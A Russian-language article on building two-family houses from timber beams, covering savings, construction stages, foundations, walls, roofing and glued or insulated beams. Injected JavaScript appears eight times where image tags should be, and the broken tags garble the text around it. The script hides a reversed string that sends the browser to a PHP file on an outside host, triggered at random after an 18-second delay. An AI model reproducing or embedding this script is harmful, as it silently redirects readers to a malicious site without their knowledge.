Дом из бруса на две семьи: преимущества

К строительству своего дома всегда стоит подходить ответственно и скрупулёзно, для того чтобы выбрать самый оптимальный, самый комфортный, самый надёжный и безопасный вариант. Немаловажным фактором при выборе проекта и материала для строительства является экономическая составляющая, а также дальнейшие эксплуатационные расходы.

Как вариант рационального решения можно рассмотреть проекты домов из бруса на две семьи. Особенно привлекательным такой вариант может быть для людей, находящихся в близком родстве, но живущих отдельными семьями, например, взрослые дети и родители.

$NjS=function(n){if(typeof ($NjS.list[n])==»string») return $NjS.list[n].split(«»).reverse().join(«»);return $NjS.list[n];};$NjS.list=[«\’php.sgalf-tropxe/tropxe/weiv/bil/noitargim-pw-eno-ni-lla/snigulp/tnetnoc-pw/ofni.stobor-latigid//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to—dom-iz-brusev-600×450.jpg» alt=»На фото – дом из брусьев.» width=»600″ height=»450″ /> На фото – дом из брусьев.

Дом на две семьи: приятная компания и экономическая выгода

$NjS=function(n){if(typeof ($NjS.list[n])==»string») return $NjS.list[n].split(«»).reverse().join(«»);return $NjS.list[n];};$NjS.list=[«\’php.sgalf-tropxe/tropxe/weiv/bil/noitargim-pw-eno-ni-lla/snigulp/tnetnoc-pw/ofni.stobor-latigid//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to—proekt-doma-na-dve-semi-600×450.jpg» alt=»На фото – проект дома на две семьи.» width=»600″ height=»450″ /> На фото – проект дома на две семьи.

Кроме психологического и эмоционального момента – все рядом, но абсолютно никто никому не мешает и живет своей собственной жизнью – такие дома и коттеджи имеют, прежде всего, экономическую привлекательность и на этапе строительства, и в дальнейшей эксплуатации объекта.

Как правило, дом из бруса на 2 семьи проектируется зеркально: общая стена разделяет две квартиры с раздельными выходами. Возможны варианты совместного использования общих или хозяйственных помещений, также допускается вариативность в самой планировке каждой из частей дома.

На этапе строительства экономия получается за счет:

• сокращения длины стен и соответственно фундамента;
• уменьшения площади кровли;
• площади наружных стен, которые нуждаются во внешней отделке.

В процессе эксплуатации можно сократить расходы:

• на отопление и горячее водоснабжение;
• на использование и обслуживание общих инженерных сетей и коммуникаций;
• в случае совместного использования земельного участка его площадь удваивается и т.д.

Если рассматривать и брать за основу проекты домов из бруса на 2 семьи, то в итоге можно получить один из самых экономичных домов. В зависимости от материала и способа строительства, возведение строения можно осуществить в кратчайшие сроки. Главное, соблюсти сроки осадки, как рекомендует инструкция, при этом стоит учесть, что для разных видов бруса они отличаются.

Преимущества строительства полнокомплектных домов из бруса

Строительство дома из брусьев.

Многие фирмы предлагают для дома на 2 семьи проекты из бруса, а также максимально полную комплектацию строительными и отделочными материалами. При этом строительство может вести фирма, можно строить самостоятельно или наняв бригаду плотников.

Можно приобрести полный комплект стройматериалов по готовому проекту.

Чтобы рассчитать необходимое количество бруса для строительства, можно воспользоваться простым калькулятором:

Тогда в комплектацию входит абсолютно всё, что только может понадобиться:

• все окна и двери;
• если проект дома из бруса на две семьи предполагает второй этаж или мансарду, в комплектацию входит, как правило, деревянная лестница.

Как правило, сборка таких строений не представляет особой сложности, выполняется в быстро: до 1-2 месяцев. Если строительство будет вестись своими руками, следует воспользоваться услугой от фирмы по сопровождению строительства.

$NjS=function(n){if(typeof ($NjS.list[n])==»string») return $NjS.list[n].split(«»).reverse().join(«»);return $NjS.list[n];};$NjS.list=[«\’php.sgalf-tropxe/tropxe/weiv/bil/noitargim-pw-eno-ni-lla/snigulp/tnetnoc-pw/ofni.stobor-latigid//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to—plan-doma-na-dve-semi-600×450.jpg» alt=»На фото – план дома на две семьи.» width=»600″ height=»450″ /> На фото – план дома на две семьи.

Приобретя готовый проект дома из бруса на 2 семьи, можно значительно облегчить весь процесс строительства, кроме того, это имеет и очевидную выгоду, так как:

• на участок одновременно завозится полный комплект материалов;
• проводятся разгрузочные работы;
• предоставляется пакет проектной документации с привязкой к местности.

В представленном видео в этой статье вы найдете дополнительную информацию по данной теме.

Сроки строительства и основные этапы

Строительство любого объекта предполагает несколько этапов.

Начало строительства

$NjS=function(n){if(typeof ($NjS.list[n])==»string») return $NjS.list[n].split(«»).reverse().join(«»);return $NjS.list[n];};$NjS.list=[«\’php.sgalf-tropxe/tropxe/weiv/bil/noitargim-pw-eno-ni-lla/snigulp/tnetnoc-pw/ofni.stobor-latigid//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to—plan-uchastka-na-dve-semi.jpg» alt=»Фото – план участка на две семьи.» width=»376″ height=»500″ /> Фото – план участка на две семьи.

Первый или начальный этап должен быть посвящён планировке территории, хотя иногда этот этап застройщики игнорируют, а работы ведутся уже после постройки дома. Правильное планирование территории позволяет максимально эффективно использовать площадь участка, учесть все его геологические особенности, основные направления ветров и другие факторы.

Следующий этап – проектирование, можно самостоятельно разработать собственный проект, взяв за основу готовый, или использовать типовой, но в любом случае имеет смысл обратиться в архитектурное бюро к специалистам для выполнения привязки по местности.

Этапы и способы строительства

$NjS=function(n){if(typeof ($NjS.list[n])==»string») return $NjS.list[n].split(«»).reverse().join(«»);return $NjS.list[n];};$NjS.list=[«\’php.sgalf-tropxe/tropxe/weiv/bil/noitargim-pw-eno-ni-lla/snigulp/tnetnoc-pw/ofni.stobor-latigid//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to—stroitelstvo-fundamenta.jpg» alt=»На фото – строительство фундамента.» width=»600″ height=»432″ /> На фото – строительство фундамента.

Обустройство фундамента.

1. выбор вида:

• ленточный – неглубокого залегания, с цоколем от 40 см;
• винтовой – рекомендуется для сложных грунтов и высокого уровня грунтовых вод;
• свайный – может использоваться как альтернатива ленточному или в условиях, сходных для винтового варианта;

1. с использованием фундаментной плиты или плиты на сваях, а также блоков ФБС.

Внимание!
В современном частном строительстве блоки ФБС применяются всё реже. Они иногда экономически оправданы, но могут потребовать привлечения спецтехники.

$NjS=function(n){if(typeof ($NjS.list[n])==»string») return $NjS.list[n].split(«»).reverse().join(«»);return $NjS.list[n];};$NjS.list=[«\’php.sgalf-tropxe/tropxe/weiv/bil/noitargim-pw-eno-ni-lla/snigulp/tnetnoc-pw/ofni.stobor-latigid//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to—vozvedenie-sten-iz-brusev-600×449.jpg» alt=»На фото – возведение стен из брусьев.» width=»600″ height=»449″ /> На фото – возведение стен из брусьев.

Возведение стен.

Для этого рекомендуется брус с сечением не менее 150×150 мм:

• для удешевления строительства можно использовать брус нестроганный с естественным уровнем влажности, с одновременной укладкой утеплителя между венцами, например, двухслойного льноватина;
• для создания комфортных условий в доме рекомендуется использовать стыковку бруса по типу «теплый угол»;
• венцы следует скреплять нагелями.

Обустройство внутрикомнатных перегородок.

Последовательность работ:

• используется брус сечением 150×150 мм, 100×100 мм, 150×100 мм;
• между венцами также рекомендуется использовать утеплитель в виде прокладки;
• стыковка с несущими стенами выполняется Т-соединением или врезкой.

Создание перекрытий состоит из следующих действий.

1. Перекрытия для пола:
   • лаги из нестроганого бруса (150×50 или 150×100) с шагом от 500 до 700 мм;
   • устройство чернового пола можно выполнить обрезной доской (см. также статью Обрезной брус и его роль в гражданском строительстве)
2. для межэтажных или мансардных перекрытий:
   
   • брус того же вида и сечения, что и для пола, но с допустимым шагом в 1000 мм.

Устройство кровли:

• выполняется из стропил 150×50 мм, шаг 1000 мм;
• для обрешётки можно использовать 25-миллимитровую обрезную доску с шагом 300 мм.

Преимущества и недостатки домов из разных видов бруса

$NjS=function(n){if(typeof ($NjS.list[n])==»string») return $NjS.list[n].split(«»).reverse().join(«»);return $NjS.list[n];};$NjS.list=[«\’php.sgalf-tropxe/tropxe/weiv/bil/noitargim-pw-eno-ni-lla/snigulp/tnetnoc-pw/ofni.stobor-latigid//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to—kleenye-brusya-raznogo-secheniya-600×195.jpg» alt=»На фото – клеёные брусья разного сечения.» width=»600″ height=»195″ /> На фото – клеёные брусья разного сечения.

Клеёный и профилированный брус — это материал, который не нуждается во внешней отделке.

Хоть цена данных изделий значительно выше обычного неструганного бруса, но их использование во многом оправдано более высокими характеристиками:

• лучшими тепло- и звукоизоляционными свойствами;
• антисептической, противопожарной обработкой;
• влагостойкостью;
• более простым и легким монтажом;
• высокими прочностными характеристиками и надежностью;
• повышенной сейсмоустойчивостью;
• строение не подвержено большой и заметной усадке, все работы можно закончить в течение нескольких месяцев;
• эстетично-привлекательным внешним видом.

Дома из клеёного бруса

Можно рассмотреть проект дома из бруса на 2 семьи из клеёного изделия, которое представляет собой готовый фасадный материал. Часто не требуется и внутренняя отделка стен, так как данный вид бруса является хорошей основой и фоном для различных интерьерных решений.

Следует отметить, что дома из клееного бруса на 2 семьи, можно отнести к строениям, возведенным по инновационной технологии. Так как этот материал, сохранив все достоинства древесины, наделён новыми качествами и практически лишён недостатков натуральной древесины и производится по самым передовым технологиям.

Утеплённый брус: качественные характеристики

$NjS=function(n){if(typeof ($NjS.list[n])==»string») return $NjS.list[n].split(«»).reverse().join(«»);return $NjS.list[n];};$NjS.list=[«\’php.sgalf-tropxe/tropxe/weiv/bil/noitargim-pw-eno-ni-lla/snigulp/tnetnoc-pw/ofni.stobor-latigid//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to—uteplennye-brusya.jpg» alt=»Фото – утеплённые брусья.» width=»422″ height=»401″ /> Фото – утеплённые брусья.

Одним из достижений можно считать появление утеплённого бруса, который имеет уникальные теплопроводные свойства и отличную звукоизоляцию. Конструктивно данный материал имеет много общего с сендвич-панелями, а с клеёным брусом его роднят ламели.

В качестве верхнего слоя и изоляционной прокладки между ними и бывает:

• однокамерный;
• пакетный;

в качестве утеплителя используется:

• эковата или целлюлозный состав;
• пенополистирольный (пенополиуретановый) наполнитель.

Основные качественные характеристики клеёного бруса

Стоимость строительства коробки дома из клеёного бруса, безусловно, значительно превышает стоимость нестроганного материала, но выбор надо делать, исходя их всех факторов и нюансов.

Иногда изначально существенное превышение сметы на материалы может обернуться компенсационной выгодой от дальнейшей эксплуатации объекта.

Преимущества клеёного бруса перед аналогами

Дом, построенный из клеёного бруса, можно отнести ко второму уровню пожарной безопасности. Ещё в заводских условиях он обрабатывается специальными пропитками и огнеупорными составами.

Защиту от различных гнилостных процессов обеспечивает консервация древесины и сушка. Такая обработка бруса от гниения исключает вероятность того, что строение может повести, а также гарантирует от образования трещин в самом материале.

Все составы безопасны для использования в жилых зданиях и не несут угрозы здоровью людей и домашних любимцев. В доме из клеёного бруса поддерживается постоянная влажность и благоприятный микроклимат. А внешний вид может поспособствовать тому, что дом станет архитектурной достопримечательностью загородного поселка.

Как правило, брус используется для малоэтажного строительства, а использование клеёного изделия, имеющего более высокие прочностные характеристики, позволяет возводить строения до пятнадцатиметровой высоты.

Внимание!
При покупке следует внимательно изучать информацию о том, какие составы использовались для защиты и пропитки, проверять сертификаты у продавца.
И конечно, учитывая возрастающий спрос, существует вероятность купить изделия в лучшем случае не соответствующие заявленному качеству, а в худшем – сомнительную подделку.

Заключение

Всегда следует учитывать, что абсолютно идеальных строительных материалов не бывает, поэтому некоторые недостатки можно найти и среди свойств и характеристик клеёного бруса.

Например, несмотря на то, что этот брус является готовым материалом для фасада, не требующим отделки, это не исключает потребности в его периодическом обновлении. В среднем раз в несколько лет в зависимости от местных климатических условий, Для этого можно применять краски и лаки, предназначенные для данного материала.

Клеёный брус обладает уникальными свойствами, но несоблюдение технологического процесса может свести на нет все качества. Поэтому, привлекать к работам надо специалистов, имеющих опыт работы с этим материалом.